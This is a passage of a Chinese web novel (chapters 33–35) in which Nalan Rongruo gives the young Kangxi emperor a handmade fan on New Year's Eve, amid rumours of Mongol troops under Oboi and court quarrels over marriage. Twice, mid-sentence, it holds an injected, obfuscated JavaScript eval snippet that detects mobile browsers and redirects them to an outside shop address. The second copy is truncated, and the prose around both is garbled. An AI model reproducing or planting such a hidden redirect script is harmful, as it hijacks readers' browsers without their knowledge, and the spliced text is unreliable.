“扇在开合之间,顺应着主人的心情;扇在引风之时,应解着主人的需求;扇在投玩之际,发泄着主人的情绪。我想送皇上一件可以左右情绪的东西、比送别的置物品或观赏品好。那么多贺礼,真正入到皇上心底的有几分?千人千面,真正被皇上记住的献宝者有几人?还不如反着来,入冬送扇,心意到位不到位,风骨磊落不磊落,全部交由皇上去判断。” “公子是用了心的,想必皇上一看就知。” “我纳兰不属于玄烨一个人,但却真的是为玄烨捧出了一颗为臣心。” * 灯下。 容若亲手制扇。 袖云想叫公子早睡,可是甘愿在公子身边陪着:扫屑、挑灯、温茶。 待到熬了半宵,容若终于对自己手中的“成品”点了点头。 他对“成品”的完成度要求极高,任何一处细节、任何一处手感、任何一处光影,都在他的美意识的品判之中。 他对“成品”的重视度也极其高,献扇并非只是简单地对太皇太后和皇上“献礼”和“吉祥话”,而是要考虑到所献之物的生命力。若是那份生命力只终止于双方互借时的眼前一瞬,那么,就不可谓是心血、不可谓是真意。 ——本该叫沈宛看看我之作品。 ——可是时与缘这东西,就是有憾。 看着侍女袖云仔细把两把“九节骨雅扇”放进锦盒里,又把公子提前写好了的新年贺词小笺夹放在盒壁侧面,用扇坠定位推压,再最后盖上盒盖,容若道: “盒上的吉祥结我亲自来编,太皇太后的锦盒用红绳,皇上的锦盒用金绳。我听额娘说,老汗王努尔哈赤重视年礼上的结纽,曰:结纽当系的方方正正如‘包袱’,给我爱新觉罗的子孙世世代代:包揽福气。” “所以我按照老汗王的意思来系。” 饮了安神汤,用温帕子擦了脸之后,容若躺上了床。 不过他没有直接睡,而是有所感慨: “我从沈括的《梦溪笔谈》中明白了如何制伞,又从宋应星的《天工开物》传抄本中弄懂了如何制扇,就想着:我大清要是也能有这样的能人,写出比沈、宋二人更具体、更伟大的农林生产之书来,该多好!” 袖云道:“我朝引进了不少西洋先进之物,已是开明与进步许多,应是比历朝历代都更胜一筹才对。” “嗯,有道理。” 容若合眼,带着个微笑,睡下了。 33.第33章 除夕当日。清晨。 容若前后只睡了一个时辰左右,除开未完全熟睡的时间,也就是潜睡了一阵子罢了。 袖云伺候公子更衣梳洗之后,照着满人的习惯,给公子拿了一个未削皮的红苹果。 “公子咬一口苹果,岁末平安,来年也平平安安。” 吃过苹果,容若轻声问:“袖云,你看我现在的气色可好?” “曹寅曹侍卫说:纳兰公子貌姣好。袖云觉得——”她对着容若凝眸而看,“公子如今看着气色尚好,就是放在严冬还需要多些内调才是。” “那就好。”容若放心一笑,“怕见憔悴藏着,宿起而不敢碰镜。” * 养心殿内。 玄烨一身盛装。 玄烨仔细听着礼官陈述除夕这一日的“项典提醒”,把“要做的事”和“要遵的规矩”都记在脑海里。 等到礼官推下后,玄烨问顾总管:“纳兰怎么还没来?” 顾问行应道:“万岁爷,您上午是赏赐王公大臣和接受王公大臣们的贺拜,下午是接见皇族宗亲和外藩大部要员,等到了夜晚才能见到纳兰公子。” “皇阿奶不是准了纳兰全天跟在朕身后吗?” “太皇太后的意思是:准了纳兰公子‘除夕进宫’,奴才没听见‘全天伴驾’四字。” “朕要——” 玄烨还没有说出“召纳兰立刻进宫”这句话,就看见一等侍卫图尔深匆匆而来,像是有要事要报。 “何事?” “启禀皇上,奴才接到可靠情报,有一众蒙古兵马悄悄驻扎城外,受鳌拜调遣。” 玄烨并未吃惊,而是反问:“鳌拜不是让蒙古顺从满人礼制的功臣吗?当年正是鳌拜施了压,才让蒙古人削发留辫。蒙古应与鳌拜关系不融才对,怎会听鳌拜的话?” 图尔深道:“皇上,值此佳节之际,鳌拜未经允许而在城外安排兵马,岂非暗存谋反之心?不可不防啊!” “你以为朕不想防吗?”玄烨依旧冷静,“这个时候朕如果跟鳌拜兵戎相见,灭了那众蒙古兵马,不得见是立下武功,反而会叫蒙古出身的皇阿奶陷入两难;反之,朝廷的大军要是浩浩荡荡出城灭敌却扑了个空,就是正中鳌拜有意泄露风声的圈套,必将见笑于群臣,失信于周边部族,何以立威亲政?” “恕奴才直言,鳌拜有鳌拜的部署,皇上有皇上的判断,进退并非在彼此的推测之中,而是在那众兵马为何敢杀到天子城下来啊!” “朕知道了,你下去吧!” 玄烨在心里琢磨起来: 若是图尔深探得的消息为真,那为何理藩院没有任何动静? 而蒙古要员早已到达宫中,已对太皇太后行过朝拜之礼,若是他们真的放任‘某路兵马’听命于鳌拜,那就是违背了祖宗家法的错行,必将获罪,怎么也说不通啊! 蒙古要员朝拜太皇太后前后,并未带特使而来。由此可以猜测:他们并不想与大清谈条件或是要特权。那么,那路服命于鳌拜的“蒙古兵马”,真的是来自蒙古部族吗?还是鳌拜别有心机的伪装,想要刺探于朕? “去叫纳兰进宫,朕有要事跟他相议。马上,你亲自去!” “是!”顾问行应完,又叮嘱了玄烨一句,“万岁爷,马上就到早膳时间了,奴才想着皇后娘娘已经去慈宁宫给太皇太后请安了,您千万不要忘了规矩啊。” “知道了。朕现在就过去。”玄烨起身移位,“朕今日,事事都会守着规矩。” * 顾问行才走,禹之鼎和官云辞就一并在养心殿外求见皇上。 玄烨因为赶着去慈宁宫给孝庄请安和陪皇后一起用早膳,所以步履匆忙,并未在意云禹二人之间的情分。 “臣禹之鼎谢皇上救命之恩!”他跪在地上,双手高捧一卷轴,“特意为皇上献上《韵彩万花琉璃图》一幅,祝大清国运昌泰,祝皇上洪福齐天。” 玄烨叫了眼前的二人起来,“《天下地形图》本就是朕叫你画的,朕才是始作俑者,你有什么罪?你的新作朕收下了,待空闲时再赏。” “臣谢皇上!” 说罢,禹之鼎就自己走进了养心殿,把画作搁在玄烨的桌案上了。 玄烨才走出数十步,就折返问等候在外的云辞格格:“你喜欢西洋文化,多与外务司接触。朕不知着眼于国内,你对管理蒙古、新疆、唐古特等地域的理藩院有何看法?” 云辞道:“朝廷委派到此三地的驻官众多,多与明索两党交好,乃至是蒙古各部的要臣,也难免自甘做明索两党的眼线,向明珠大人和索额图大人上报区域的风吹草动。皇上这么问,定是因为没有从理藩院尚书、左右侍郎、额外侍郎口中听到自己想知道的情报吧?” 玄烨坦直道:“鳌拜是你的堂伯父,朕听闻他勾结拉拢边外兵马,屯扎于城下,欲对朕图谋不轨。” 云辞明辨是非道:“皇上在疑云辞的堂伯父之前,难道不应先将明珠和索额图一并传到圣前问话吗?理藩院的官僚,宁愿将三大区域的域况都告知明索二人而非皇上,这就说明:皇上你不得臣心、你没有自己拿主意的本事、你更不具备下定战略的眼光……” “你放肆!” 除夕夜迎来鳌拜的堂侄女的当头一骂,玄烨气的浑身一颤。 “放肆云辞也要说!” 官云辞继续道:“皇上你现在,恐怕是无心前往慈宁宫去陪老祖宗和赫舍里皇后用早膳吧?皇上这副——堂堂端出了一份尽孝的模样来、勉为其难地去做个好皇孙、好夫君的模样,真叫云辞见笑!皇上如今,满腹心思地指望着纳兰公子快些到自己身边、为自己‘解围’鳌拜之事,难道不是吗?” “你这是口无遮拦,对朕大不敬——” “云辞不怕领罪,但皇上要是敢拿明珠大人营私理藩院之事来要挟纳兰公子,云辞也会把皇上的为人告知瓜尔佳氏一族,让族人们来判断是否应该继续支持皇上。” “可恶!”玄烨气急败坏,“你这么在乎纳兰,不惜动用家族势力来要挟朕,把朕当成了什么?你觉得朕是如此卑劣之人吗?” “玄烨。”云辞直呼其名,“你觉得现在自己是皇上吗?还是一个意气用事之人?你想要纳兰公子为己所用,就好好待他;你想要除掉我的堂伯父鳌拜,就用光明正大的手段。” 玄烨甩袖而去。 像是一匹孤狼般的卷入风雪。 禹之鼎从养心殿出来,问云辞怎么了?刚刚跟皇上在吵什么? 云辞道:“因为一个真假难辨的情报,皇上疑鳌拜藏了反心;因为理藩院官僚的迟奏,皇上忌惮明珠和索额图结党营私、了解要务先于君,认为明珠之子同罪。我字字句句直逼皇上、撕开了皇上的面具,如此而已。” “那……”禹之鼎担心,“皇上事后会治你罪吗?” “照着我和我阿玛跟鳌拜的关系,皇上要是有心杀我早该杀了,何须等到今日?你放心好了,皇上不会拿我和我的家人怎么样。” “我——”云辞看向远方,“担心皇上和纳兰公子之间……” * 明府。 纳兰一家子一起有说有笑地吃着早膳时,一个探子匆匆报:“启禀明珠大人,一众人数不多但看着精神抖擞的蒙古兵马忽然驻扎城下,疑似为鳌拜所效力。” 明珠一下子没了吃饭的心情,“皇上什么反应?理藩院收到消息了吗?” “回明珠大人,属下只探到皇上在今早四时就到了养心殿,往后就难以再接近了。只敢猜皇上会有所耳闻、有所猜嫌。” “知道了。”明珠给了探子一封新年利是后,有所吩咐,“去探索额图的动静。” “多谢明珠大人,属下这就去。” 容若安静地吃碗中的一颗烧麦,说不上原因,冬天就是对这种软糯油香的半素食感兴趣,喝上几口现煮的奶茶,极好。 那些朝务,照着皇上的性子,怕是要怒鳌拜、怒索额图、怒纳兰父子…… 阿玛默然无声地吃奶酪饼,额娘在一旁好声劝着: “理藩院那些人没传此事到老爷你耳朵里,索额图那边肯定也不知道。即便是皇上要猜忌——明索两党事先掌握情报、知而不报,也要理由和证人不是吗?不然就是皇上理亏。“ “理藩院最是碰不得。”明珠向一家人强调,“不同的民族有不同的习惯,能够归顺大清已属不易,再要求它们一概遵循满制,哪里现实?理藩院的官员们,平日里都是走在刀尖上的。” 容若倒也不想多问。 阿玛是个深知官场险恶的明白人,他说碰不得的机构就一定不会碰,所以这次事件既然突如其来,怕是理藩院上下都已经乱如锅粥了吧? 明珠见儿子有所思、却无所说,就知道父子俩想到一块去了。 ——礼未至而君心疑,是为有所憾。 ——疑之源头,非蒙古兵马本身,而在皇上又一次感受到了自己被架空的滋味,一厢情愿地认为:理藩院之众,攀附索党与明党。 “容若,你要是觉得自己亲手制的好扇不值得献给皇上,就用回琉璃盏,阿玛叫人去取。” “有诸多想说的话,反而说不出来了。”容若摇头,“像是一颗欢喜心变成了空落心一样。” “事发蹊跷,莫说我明珠,怕是另一头的索额图也闻讯惊慌。此事定是有幕后黑手策划,而且是暗藏在明索两党之中的叛徒所为也未可知。” “阿玛细思吧,到时候与索额图一同面对皇上,该如何答话。” “好。” “何事秋风悲画扇。儿昔日用典的张九龄与唐玄宗之间的悲扇典故,竟然上演到了自己身上,只是换了一种方式:唐玄宗是对张九龄赐扇,纳兰容若是为康熙皇帝献扇和献上《九节竹骨折扇赋》。” “凡事小心。” “儿记下了。” * 慈宁宫中,玄烨客客气气地陪孝庄和赫舍里皇后一同用膳。 见一直跟着玄烨的大太监顾问行没在身边,孝庄问:“顾总管怎么不在?” 玄烨风轻云淡道:“回皇阿奶,孙儿叫顾总管亲自登明府去请纳兰性德来了。” “皇上这叫什么道理?”孝庄露出拿玄烨没办法的神情,“上午和下午应该做什么事,礼官没有跟你交待清楚吗?还是说皇上想要带着自己的陪臣一起赶赴各种场合?” “孙儿接到了‘鳌拜操纵了一支蒙古兵马,已临城下’的军情,倒想问问纳兰性德有什么要说的,看看他……” “皇上这么想不对吧?”孝庄严肃道,“即便是鳌拜要反,他敢在除夕之日反吗?除夕之日他反的动吗?况且,皇阿奶就是蒙古出身之人,与部族之人想谈甚好,未见当中有不满大清之声,如此,蒙古兵马为何要投靠鳌拜?” “是啊皇上。”赫舍里皇后温和道,“你知悉的军情与纳兰公子无关,你这副就跟是要审讯他一般的样子,在臣妾和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13419401|138365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太皇太后面前流露就罢,勿要将事态上升到较真的地步。” “皇阿奶,皇后,理藩院主管蒙古、新疆、唐古特三大地域的要务,那些官僚眼里没有朕这个皇上!而是把明珠和索额图当成了靠山,事无巨细,一一相告于他俩。要不是一等侍卫图尔深前来报告朕,朕还不知道蒙古兵马伺机而动之事。” “皇上是吞不下‘被人抢了先机’这口气吗?”孝庄指出道,“理藩院上报事态,总有先后顺序,当今皇上要做的是:查清楚鳌拜伙同蒙古兵马之事真假、明珠和索额图是否真的知而不报、整顿理藩院。” “孙儿多谢皇阿奶教诲。”玄烨话锋一转,“但是今天,孙儿让纳兰跟朕跟定了!” 看玄烨态度如此,孝庄亦不再说否。 她只对皇帝提醒了一句:“纳兰不但是你的客人,也是皇阿奶的客人,今日不许让他太劳累。” * 养心殿。 纳兰在等候皇上期间,独自赏起了禹之鼎的画。 玄烨从正门走进,见纳兰赏画的背影安静,就示意顾问行不必对纳兰做提醒。 好一会儿,纳兰转身,看见玄烨的身影,速行礼道:“臣纳兰性德参见皇上。值此除夕,祝大清天下团圆。” 玄烨绕着纳兰转了一圈,停在他面前问:“知道朕为什么这么早叫你来吗?” 纳兰故意道:“臣不知。” 玄烨也不直面说,而是指着书桌上的礼盒道:“顾总管,给朕把纳兰送的东西打开。” 顾问行仔仔细细地结绳解了,再打开盒盖,依次拿出了里面的东西。 “回万岁爷,里面有一把好扇、纳兰公子的墨宝和一篇新章。” 玄烨走近,“墨宝和新章有区别吗?” 顾问行应道:“是一张专门为万岁爷您写的新年祝福词的小笺,和一封上书《九节竹骨折扇赋》的信笺。“ 玄烨庆幸纳兰没看见自己脸上得意又高兴的神情,硬是挤出一句话:“你敢效仿名相张九龄来给朕写《悲扇赋》,是觉得朕如唐玄宗、哪里对不住你这个‘贤臣’了吗?” 纳兰简单道:“臣不敢。臣给皇上的,就是臣觉得合适的、该送的东西,不想做别的影射。” “不敢?”玄烨往侧面的椅子上一指,“纳兰,你给朕坐下!” 顾问行把九节骨雅扇捧到玄烨面前,笑道:“万岁爷,这把‘纳兰扇’可是您独有的,上面刻有‘容若亲制’四字。” 玄烨心中大喜,神情却不表现。 他接过扇子,随意地在纳兰面前一转,指着竹节问:“你什么意思?跟朕谈风骨?想要高风亮节?还不肯承认朕哪里惹你不高兴了!” 纳兰蹭一声从椅子上站起,道: “今日除夕,皇上事多,臣原本打算好好给皇上长些在众人面前的威风,现在却宁愿在皇上身边、当个供众人养眼的静默观赏品。皇上你,就是惹臣不高兴了。” 玄烨一瞪眼,“你——” 纳兰回了一个水平的无害目光,“臣就是敢这么跟皇上说话!” “谁说朕要带你出去撑场面?” “那臣现在回去。” “你敢!” “臣有何不敢?阿玛明珠还在家里等着被皇上传召,好把自己身上的莫须有罪名解释清楚。大不了臣跟阿玛一起领罪,皇上罚就是了。” “朕就问你一句话:理藩院高官们,是否常与明珠往来,将重要的军报、情报、灾报、民报……都先一步告知明珠,等拿了明珠的意思后,再回禀于朕?” “阿玛与理藩院之间,无干系。” “好,有你这句担保,朕暂且信了明珠。” 纳兰恳切道:“臣要的不是皇上暂且或是姑且相信阿玛,而是希望皇上拿出魄力来,把事情的来龙去脉查清楚,好确信明珠为人。” “不必你说,朕早决定要查了!”玄烨打定了主意,“纳兰啊,朕不会把你卷进来,一切都让朕一个人来解决。” 见纳兰脸上绽放出了一个干净如莲的笑容,玄烨觉得自己送了一口气。 仿佛是为了一见纳兰的真心笑容,自己要费上比当皇帝还辛苦的努力一般。 “万岁爷,这九节扇骨可是稀罕物啊!” 顾问行趁机提醒玄烨,要对纳兰公子的新年心意说声珍惜、说声谢。 玄烨把“纳兰扇”往顾问行手中一放,下令道:“顾总管,你给朕把‘九节扇骨折扇’收好,要是出了一点闪失,朕就摘了你的脑袋!” “是!”这桩差事顾问行领的高兴。 收藏纳兰公子的东西,天下谁不愿意呢? 何况是为万岁爷收藏,更是双份的福气。 * 明府。 明珠思前想后,终于对觉罗氏道:“夫人啊,咱们不能在家干等着了,带上揆叙和揆叙,现在就进宫去。” “老爷,中午还没到呢。”觉罗氏不解,“入宫后,老爷做何打算?” “我心里没底啊!”明珠指着自己的心脏,“不知道容若此时处境。” “老爷,妾身相信容若能够在潜移默化中,让皇帝还你一个清白。你可千万不要操之过急,做出多余的行动来,落入了小人圈套啊!” 就在此时,明珠安排在宫中的另一个线人匆匆来报。 “明珠大人、夫人。纳兰公子他……他……” 明珠和觉罗氏同时催道:“公子他怎么了?说呀!” 34.第34章 在明珠夫妇的惊讶神色中,线人终于说出了完整的话: “公子他随着皇上一起,出席在各种接待王公大臣和贵族宗亲的场合。皇上气宇轩昂、君威十足;公子翩翩风度、珠玉生辉。” 打发走线人后,明珠对夫人道:“容若救了我。” 觉罗氏拿出手帕来擦了一把冷汗,“咱们儿子没事就好,我这个做额娘的,当真是受了惊吓。” “我想,容若他自己知道:陪伴在康熙皇帝身边、在这些场子中一路走下来,定会遭妒。只是不用这样的方法,就没法让皇上放下对我明珠戒备和疑虑。” “老爷的意思是:咱们儿子以‘伴君到底’为条件,让皇上再查‘鳌拜调动蒙古兵马’之事和‘理藩院对蒙古兵马驻扎城下不报’之事?好证明老爷你确实与此无关?” “容若的心气在那里,你以为他愿意这么抛头露脸于人前吗?他那么安静和风雅的一个人,何必去参合皇上份内要应对的场子?可不就是为了我明珠吗?” “如此看来,今天有的咱们儿子受啊!” “人呐,总要历练。不管是哪个年纪,历练总是不会停,能够心有所感的情绪,就不能叫苦。” 明珠斟了一杯茶,看向晴空朗朗、飞雪却未停的窗外。 他决定午后就带着家人们进宫去,先在宫中走一走,放松放松心情,好应变接下来可能发生的一切。 “夫人,还记得我们第一次带容若进入皇宫的情景吗?” “怎么会忘?容若自己把皇家规矩和是非黑白都了解的清楚,在人前表现的很好:才思无挑、骑射亦精。太皇太后对他很是喜欢。” “真不知道揆叙和揆方跟容若比如何啊!” “老爷,照着当下的局面看,求安稳比求出彩划的来。何苦把揆叙和揆方复刻成容若的样子?” “夫人所言极是。”明珠点头,“只是我有预感,揆叙和揆方也会跟容若一样,在自己擅长的领域有所成就。” * 密林深处。 宋应星的屋子很显年味。 原来,沈宛想到:年为天下年,何须分什么大明与大清?就到市场上去购买了不少带着年味的吉祥品回来,还亲自给屋子书写和张贴了春联。 她对宋应星道:“师傅,像是这些糖糖果果是要吃的,表示新的一年苦尽甘来、万事如意;像是这对大鱼是要备上的,表示年年有余,富贵不愁;像是这些爆竹和花火也是不可少的,咱们一起在屋外燃放,热热闹闹,可以祛除晦气和迎接好运。 宋应星亲自给打扫了屋子,整理了书柜,给厨房添了柴;还爬了高,到屋外去给大树挂上了灯笼。 贴年画的时候,宋应星忽然心生出一股愧疚来: 早知道沈宛这么有心,一直顾着师傅、一直记着教诲,自己何须装病来骗她。只是不晓得她为何在照顾自己期间,时不时地就忘别的厅跑,像是在准备别的东西。自己问她在做什么?她也只是回答是为张岱先生准备年礼。 自己自然是对沈宛的话不全信,但是也不好挑破再问,毕竟“病人“就该有”病人“的样子,得爱徒停留、得爱徒端送汤药饭食已是大幸。 沈宛给屋子的外大门贴倒福的时候,轻声为容若许了一句好: “沈宛希望纳兰公子万事顺遂、无病息灾、长岁安宁。“ 这三个词,是她用心择选过的,有三层意思: 祝愿纳兰公子:活得自在顺心,多顾顾自己,好运全都眷顾他;疾病伤寒,统统远离他,好的体魄和好的心情全都给他;岁月静好,长岁能守,百岁人生和松乔之寿都归他。 但愿人长久,无悔逐暗香。 人道相思苦,我道相思常。 知他不由己,此生公卿良。 唯我不肯弃,水远山更长。 若得容身处,宛傍兰树旁。 无暇一氏璧,独落水中央。 妾当效懿仙,不恨义山凉。【注1】 沈宛写下过这首诗。 是从明府回来后写的,她心存未见到纳兰公子的遗憾,也带着一些了然和自嘲: 惠儿小姐,你跟公子虽然天天见面,但思恋之切,不会比我这个想见公子还不一定见的到的民间女子少吧? 我对公子是倾慕和爱慕兼得,我不怕世俗目光、不怕世人非议、不怕天下评价。只要公子好,我为他做什么都行。 * 太和殿中,玄烨坐在主位上,身后站着纳兰,左右两侧:坐着孝庄太皇太后和赫舍里皇后。 除夕之日,在此处接见的是蒙古部族的王公和要员,明日大年初一,才是接受文武百官的集体拜年。 玄烨心中莫名产生出这样的想法来: 皇阿奶在左侧,就像是个大家长一般,让朕在无形压力中不敢犯错;嫡妻坐在右侧,就像是一块镜子似的,让朕在对比中不敢失了分寸。 纳兰倒是还好,即便是一块玉立在朕身后,朕也不觉得冷。 只是……纳兰遇见朕这种故作强势、自以为是,实际上却——很怕暴露缺点和不足、很怕亲政后拿不出漂亮的政绩、很怕当不成夸口中的千古一帝的家伙,心中会不会嘲鄙朕的拙劣? 朕,早点承认就好了,承认自己不是完人、离“圣君”这个目标还差得远。 ——就不会这般拘束拘谨地面对一切,就不会不知道应该对那些蒙古部族的王公和要员们作出什么批请。 “臣苏哈墨察,率我部族宗亲、驻部朝臣、八旗秀女前来,恭贺大清江山永固,天下清平安乐。皇上正值年少,朝气蓬勃,我蒙古必将竭尽全力效封疆固土之能;皇上天资聪颖,理应早日主政,统大清大业于一身之间、遍行方圆,方是我朝将来之正举。” 在蒙古王的朝贺词中,玄烨心中的弦被狠狠地拨了一下。 蒙古王如此支持于朕,又怎么会勾结鳌拜,犯上作乱? 孝庄开口道:“苏哈墨察,有军报说:一支精干的蒙古兵马驻扎城下与我朝辅政大臣鳌拜相谋合,可是确有此事?” 蒙古王跪下道:“回太皇太后,臣未对皇上生出过异心,故而不知此事是因何而起、何人所为。” 孝庄神色肃穆,道:“我作为皇帝的祖母,又是出身于蒙古,常常教导皇帝要懂得‘睦邻友好’四字的重要性。照我的体察,兵马之事不是无中生有。” 蒙古王一惊,慌忙辩解道:“臣伏乞太皇太后和皇上圣鉴,城下兵马是否真的为我蒙古所属、此番扎住是否为不利于大清之举。” 孝庄看向玄烨:“皇上,你觉得呢?” 玄烨道:“孙儿以为,目前那支兵马尚无动静,不如叫人去彻查过后再处理不迟。” 孝庄又问:“交给谁去查?” 玄烨硬着头皮道:“处理蒙古事务的机构,是理藩院。孙儿不想将事态上升到兵部介入的地步,不然不利于大清与蒙古之间的友盟关系。” 蒙古王向皇上和太皇太后一拜,才反驳道: “我蒙古部族诚心,日月可鉴。理藩院之责,重在蒙疆藏三域协管和信仰尊崇协理,若是错把重心变成了:查乱臣贼子上,恐怕会大失各旗之心。臣还请皇上三思。” 说着,其又对皇上身后之人冷问道: “诸事多发,因果牵连。纳兰公子你何须为了给父明珠开罪,而粉墨登场、不离君侧,自取劳累?” 纳兰看向皇帝,得到皇帝允许自己说话的许可后,对蒙古王道: “皇上查明一切是理所当然的事情,蒙古王你不必跟日月对赌,纳兰性德也不必这般东奔西走地来做个忠君为父的大贤臣、大孝子。水落石出之后,蒙古有无过错、纳兰性德是否伪善、挑拨江山安稳和君臣关系宗亲关系之人前后居心如何险恶,一切盖有天定。” 蒙古王问:“照你的意思,谁才是大清的公敌?” 纳兰道:“查明后才能见分晓,未明先猜,不是我的本意。” “你大胆!”蒙古一声喝罢,对孝庄道,“皇上把这样一个敢说出‘本意’二字的佞臣带着身边,臣只恐会致使皇上越来越暴躁无度!” 孝庄道:“纳兰,你的本意是什么?拿出来好好跟蒙古王说说。” “是。闻风而动,敌之大喜,我之大忌;凭讯而探,敌之乐窃,我之失策;谋在却错,敌之有成,我之恐失。所以,兵马之事驻扎城下之事,可疑之处甚多,牵连机构不少,值此特殊时点而来,是为有备。” “我的本意是:请蒙古王带领王公和亲贵速回蒙古,今日下午即起程。” “纳兰性德你反了!”蒙古王火冒三丈,“敢当着太皇太后和皇上皇后的面,对本王下逐客令?!” “我并非是跟蒙古过不去,只是思虑到了最优对策:其一,蒙古王提前归部,自然可以消除对大清抱有‘不臣之心’的疑虑,行动胜过言语,唯有真的事先而返,才是让人见忠心;其二,蒙古王一行离开京师,而那一支驻扎城下的兵马还无动于衷的话,蒙古与鳌拜相勾结的谣言,不就不攻自破了吗?” “第三,蒙古王整装先返,并不是有失排场和尊贵身份,而恰恰相反,会让众人看到:正是蒙古强盛而守矩,所以才可自由选择进退;正是蒙古勇义而不居功不自大,所以才深的皇恩信任,可自识时务而选择去留。” 蒙古王听罢,心中的气消了大半,却仍旧冷讽道: “纳兰公子的思辨真是叫本王开了眼!原来能否能跟皇上、跟太皇太后相处的来,血缘血统不重要,而在于心离的近不近。只要能把话说进人的心坎里,纳兰公子没有不讨人喜欢的道理。” 纳兰没对蒙古王的话做正面回应,而是正直道:“我还有要说的,是关于蒙古王您从部族带来的秀女之事。” 蒙古王差点就想过去指着纳兰的脸,骂出“混账”二字来。 ——这个侧臣,敢放肆到干涉起皇上的家事来了? ——这让掌管后宫的赫舍里皇后颜面何存? “臣原本是想劝皇上纳娶蒙古出身的嫔妃,但是经过仔细权衡利弊,认为不妥,故而将自己的反思说出来——” “大清的盛世,察哈尔已灭,无需再靠联姻蒙古来合并军事力量;太皇太后的懿绩,大清的利益高于娘家的利益,帮助皇孙巩固山河高于让皇孙纳蒙古嫔妃安六宫;天下的安定,理应减少对部族联姻依赖,皇上应靠文治武功来开创伟业、太皇太后应鼓励皇上与旗人内部通婚来雨露后宫,才是合时宜的上策。” 看着纳兰那副不怕死的样子,蒙古王咬牙切齿道:“要是从康熙朝起,大清后宫蒙古嫔妃数量锐减乃至是到了无,纳兰性德你就是最大的罪人!!” 公子人间清醒,直言不讳:“如果能将皇上变成个明白人,那纳兰性德宁可当这个罪人。” * “混账——” 这回蒙古王是真的大骂出口了,也真的是冲到了纳兰身前,手握成拳要往纳兰脸上揍! “朕的臣子你也敢打?” 玄烨电击似的从宝座上站起,挡在纳兰面前挡住了蒙古王扬在半空中的手。 蒙古王额头上青筋暴起,“皇上要是拥护纳兰性 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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玄烨和蒙古王几乎同时道:“是因为纳兰说得对(错)!” * 好一会儿。 孝庄板着脸,责问公子道:“你将皇上的纳妃之事说说的头头是道,不顾蒙古、不顾赫舍里皇后,是为臣该有本分吗?” 见孝庄到底还是顾着些娘家情分,蒙古王退回了原位。 孝庄站了起来,说了句让公子咬唇不应的话: “纳兰,既然你敢进言皇上多纳旗人女子,那老祖宗现在就给你做个主:前两广总督卢兴祖的女儿卢氏姑娘不错,知书达理,如花似玉,指给你正好。” 孝庄复强调:“卢氏姑娘是个汉人,咱们的‘满清第一大才子’娶她,就等于是给天下做了个表率:皇上的‘满汉一家’之策,可行可用。” “纳兰不能娶卢氏。”玄烨大声反逆了孝庄的意思,“因为朕——” 孝庄当着众人的面:“说,皇上的意思是什么?” “因为朕——”玄烨好不容易把真正想说的话给吞咽了回去,换了表达道,“因为朕的皇后,身边不能没有女史陪伴。” “好,那皇阿奶现在就不勉强纳兰娶妻。”孝庄看着玄烨,“但是皇上你要答应皇阿奶,留下蒙古王带来的秀女,等到大选之时,照常从中挑选合适的。” “是,孙儿记下了。” 赫舍里皇后也起身回应道:“臣妾也听老祖宗教诲,会好好与皇上共商选秀事宜。” “好。”孝庄威严道,“今天到此为止,散了。” 蒙古王带着些谢意道:“启禀太皇太后,本王带了蒙古特产过来,还未献给大清。” 玄烨心里一怒,正要训斥一句:“什么?献给大清而不是献给康熙皇帝?你眼里是跟鳌拜一样,没把朕当皇帝吗?苏哈墨察,好你这个反复无常的蒙古王!” 但是被纳兰劝住了,玄烨始终没有再挑战火。 “散了——” 孝庄说罢,就主动离了场。 “各旗秀女留下,其余之人跟随本王,马上启程回蒙古!” 苏哈墨察大手一挥,扬长而去,没对玄烨说出“告退”二字。 * “大过年的你跪什么?” 玄烨在纳兰屈膝的瞬间把他搀起。 “臣说的那些话,让皇上向蒙古王动气和失分寸了。” “是他先招惹你、招惹朕的!” “太皇太后提起的卢氏姑娘——” “朕在皇后宫里见过她,是个跟云辞格格性格完全相反的人。” “太皇太后真要做这个主,臣接受就是了。” “你连人家姑娘长什么样都不知道,就说接受?”玄烨大笑,“原来纳兰性德对感情就如此草率吗?” “汉人、父亲对朝廷有功、能够让臣:践行皇上主张的‘满汉一家’之策、践行自己提出的‘扶正和均衡八旗之间的利益’之言,足够了。” “感情是两个人之间的事情,少在朕面前表现的这么高尚!”玄烨忽然不满,“朕的‘满汉一家’之策,何须你赌上自己的婚姻幸福?” 真是个好问题。 问的臣不知道该如何答。 纳兰无法想象卢氏姑娘的模样,但是他决定,除开大义和大前提,日后要是真的娶了她,就会对她好。 【注1】 “妾当效懿仙,不恨义山凉。” 懿仙:张懿仙; 义山:李商隐。 沈宛自比才貌兼备的歌楼女张懿仙。 如果不能跟纳兰公子在一起,那就效仿张懿仙,对大诗人李商隐爱埋心底,不计薄凉,山长水远一生珍重。 35.第35章 “皇上。”赫舍里叫了玄烨一声,“可要臣妾问问卢氏姑娘的口风?” “不许!”玄烨当场拒绝,“朕不但不许你问,也不许卢氏姑娘跟纳兰见面,听见了吗?” “臣妾知道了。” 走出太和殿时,玄烨要往书房的方向去。 顾问行提醒道:“万岁爷,照规矩,您应该歇在皇后宫中。” “规矩?”玄烨没好气问,“朕想跟纳兰共处,还要什么规矩?” 顾问行闭嘴不语,知趣地退到了一边。 “臣妾恭送皇上。” 赫舍里对玄烨行了一礼。 “好。”玄烨态度让人如沐春风,“朕下午有要事要忙,就先委屈一下皇后了,晚上再跟皇后一同赴家宴和歇在坤宁宫。” “皇上您忘了?”赫舍里温声提醒,“今夜子时,您要在养心殿写:岁末把笔。” “哦,是有这回事。”玄烨握了握赫舍里的手,爱惜道,“朕写完再去见皇后,放心吧,朕会去坤宁宫。” “是。” 赫舍里温婉回应。 不管玄烨再如何喜怒无常,生气时有多生气,温情时有多温情,她都包容以待。 